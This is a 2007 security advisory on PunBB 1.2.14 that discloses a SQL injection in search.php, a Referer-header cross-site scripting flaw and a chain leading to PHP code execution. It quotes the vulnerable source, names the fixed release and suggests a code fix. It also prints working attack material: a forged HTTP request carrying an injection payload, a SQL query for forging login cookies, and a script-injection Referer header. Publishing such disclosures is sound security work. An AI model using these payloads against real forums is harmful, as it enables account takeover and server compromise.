Title: PunBB <= 1.2.14 Multiple Vulnerabilities
Author: DarkFig < gmdarkfig (at) gmail (dot) com >
Written on: 2007/04/08
Released on: 2007/04/11
Risk level: High
URL: http://www.acid-root.new.fr/advisories/13070411.txt
Summary: SQL Injection, Cross site scripting, Code execution
Solution: A new version of PunBB (1.2.15) has been released.
-=[ DESCRIPTION ]
PunBB is a fast and lightweight PHP-powered discussion board. It is
released under the GNU General Public License. Its primary goals are
to be faster, smaller and less graphically intensive as compared to
other discussion boards. PunBB has fewer features than many other
discussion boards, but is generally faster and outputs smaller,
semantically correct XHTML-compliant pages.
-=[ VULN #1 ]
Risk level: Medium
Type: SQL Injection
Conditions: PHP <= 4.4.2 or PHP <= 5.1.3
register_globals=On
ini_get() problem
The "search.php" file contains the following php code:
49| if (isset($_GET['action']) || isset($_GET['search_id']))
| [...]
54| if (isset($search_id)) unset($search_id);
55|
56| // If a search_id was supplied
57| if (isset($_GET['search_id']))
58| {
59| $search_id = intval($_GET['search_id']);
60| if ($search_id < 1)
61| message($lang_common['Bad request']);
62| }
| [...]
100| if (isset($search_id))
104| $result = $db->query('SELECT search_data FROM '.$db->prefix
| .'search_cache WHERE id='.$search_id.' AND ident=\''
| .$db->escape($ident).'\'') or [...]
When I did see this code, I thought that there was an SQL Injection with
the Zend_Hash_Del_Key_Or_Index vulnerability and register_globals=On.
But let's see another file, the "include/common.php" file contains
the following code:
39| // Reverse the effect of register_globals
40| if (@ini_get('register_globals'))
41| unregister_globals();
If ini_get('register_globals') returns TRUE, the unregister_globals()
function is called. The "@" has been used if an error occured (Warning..),
because on many servers this function is disabled for security reasons.
It's the case on my server, if I remove @, I obtain this :
Warning: ini_get() has been disabled for security reasons in [...]
In this case, ini_get('register_globals') returns FALSE even if
register_globals=On, so unregister_globals() isn't called. The
unregister_globals() functions contains the following code:
1037| function unregister_globals()
1038| {
1039| // Prevent script.php?GLOBALS[foo]=bar
1040| if (isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS']))
1041| exit('bip bip biiiiiiiip');
1042|
1043| // Variables that shouldn't be unset
1044| $no_unset = array('GLOBALS', '_GET', '_POST', '_COOKIE',
| '_REQUEST', '_SERVER', '_ENV', '_FILES');
1045|
1046| // Remove elements in $GLOBALS that are present in any of
| the superglobals
1047| $input = array_merge($_GET, $_POST, $_COOKIE, $_SERVER, $_ENV,
| $_FILES, isset($_SESSION) && is_array($_SESSION) ? $_SESSION : array());
1048| foreach ($input as $k => $v)
1049| {
1050| if (!in_array($k, $no_unset) && isset($GLOBALS[$k]))
1051| {
1052| unset($GLOBALS[$k]);
1053| unset($GLOBALS[$k]); // zend_hash_del_key_or_index protection
1054| }
1055| }
1056| }
If register_globals=On and if there is a problem (see [1] / [2] for
example) concerning the ini_get() function, there is an SQL Injection
(with the Zend_Hash_Del_Key_Or_Index vulnerability). The attacker will
forge an HTTP packet which looks like this:
GET /punbb1-2-14/search.php?action=show_new HTTP/1.1\r\n
Host: localhost\r\n
Connection: keep-alive\r\n
Cookie: punbb_cookie=<thecookiehere>\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 55\r\n\r\n
search_id=-1%20OR%201%3D1%23&1986084953=1&-1234899993=1\r\n\r\n
After getting the password (hashed), you don't need to break it. As
Nms (see [3]) said, it's easy to forge a cookie. Let's see the
check_cookie() function:
39| if (isset($_COOKIE[$cookie_name]))
40| list($cookie['user_id'], $cookie['password_hash']) =
| @unserialize($_COOKIE[$cookie_name]);
| [...]
49| if (!isset($pun_user['id']) || md5($cookie_seed.$pun_user['password']) !==
| $cookie['password_hash'])
The $cookie_seed value is stored in the "config.php" file, but we
can retrieve it with an SQL request (with the SQL Injection). The hash
stored in the cookie ($cookie['password_hash']) looks like this:
mysql> SELECT MD5(
-> CONCAT(
-> SUBSTR(
-> MD5(
-> /* $cookie_seed value */
-> (SELECT registered FROM users WHERE LENGTH(registered)=10
-> ORDER BY registered LIMIT 1)),-8),
-> /* The hashed password */
-> (SELECT password FROM users WHERE id=<user_id>)))
-> /* Ouput -> f4684bb1418c241992c6b8f9d70a4edb */;
The solution is quite simple, in "include/common.php", remove the
condition ("if(ini_get...") and even if ini_get('register_globals')
returns FALSE, apply the unregister_globals() function.
-=[ VULN #2 ]
Risk level: Low
Type: Cross Site Scripting
Conditions: none
In the "misc.php" file the "Referer" header isn't properly filtered
before being used. The file contains the following code:
128| $redirect_url = (isset($_SERVER['HTTP_REFERER']) &&
| preg_match('#^'.preg_quote($pun_config['o_base_url']).'/(.*?)\.php#i',
| $_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : 'index.php';
| [...]
146| <input type="hidden" name="redirect_url" value="
| <?php echo $redirect_url ?>" />
This can lead to cross site scripting attacks, for example send this
HTTP packet (with a valid email id):
GET http://localhost/punbb1-2-14/misc.php?email=3 HTTP/1.1\r\n
Host: localhost\r\n
Referer: http://localhost/punbb1-2-14/misc.php?email=3"><script>alert(1)</script>
\r\n
Connection: keep-alive\r\n
Cookie: punbb_cookie=<thecookie>\r\n\r\n
If the attacker knows how to use Ajax, it's quite easy to exploit (with
setRequestHeader). But let's see how this can be used...
-=[ VULN #3 ]
Risk level: High
Type: Code execution
Conditions: none
With punBB an XSS can lead to ... php code execution ! We can
use the 'Referer' XSS to lead this attack. There is also another XSS
in the admin pannel . When we add a category (admin_categories.php)
like '<script>alert(1)</script>', the code is executed when we wanna
remove the created category. Now, serious things begin ... The script
"footer.php" contains the following code:
136| $tpl_temp = trim(ob_get_contents());
137| $tpl_main = str_replace('<pun_footer>', $tpl_temp, $tpl_main);
138| ob_end_clean();
| [...]
143| while (preg_match('#<pun_include "([^/\\\\]*?)">#', $tpl_main, $cur_include))
144| {
145| if (!file_exists(PUN_ROOT.'include/user/'.$cur_include[1]))
146| error('[...]');
147|
148| ob_start();
149| include PUN_ROOT.'include/user/'.$cur_include[1];
150| $tpl_temp = ob_get_contents();
151| $tpl_main = str_replace($cur_include[0], $tpl_temp, $tpl_main);
152| ob_end_clean();
153| }
So if the content of the page contains '<pun_include "file.php"', if
the file is situated in 'include/user/', the file will be include. We
can't use \\ or /, but it's not enough protected. With the
"admin_options.php" file, we can change the avatars directory. Let's
change this parameter to "include/user". By now when a user will upload a
file, the file will be uploaded in "include/user". If the user uploads a
fake JPG file (which contains php code) , the file will be situated in
"include/user". Now the attacker have to include the uploaded file. He
will execute the php code with the XSS (<pun_include "my_id.jpg">). An
exploit has been released [4].
-=[ LINKS ]
[1] Warning: ini_get() has been disabled for security reasons
http://www.google.fr/search?q=warning%3A+ini_get+has+been
[2] ini_get returns values from other vservers
http://bugs.php.net/bug.php?id=21874
[3] PunBB <= 1.2.13 Multiple Vulnerabilities
http://wargan.org/index.php/2006/10/29/4-punbb-1213-multiple-vulnerabili
ties
[4] PunBB <= 1.2.14 Remote Code Execution Exploit
http://www.acid-root.new.fr/poc/29070411.txt
[5] Related fixes
http://dev.punbb.org/changeset/933
http://dev.punbb.org/changeset/934
http://dev.punbb.org/changeset/937
http://dev.punbb.org/changeset/938
// Greetz: ddx39, lorenzo, sparah, romano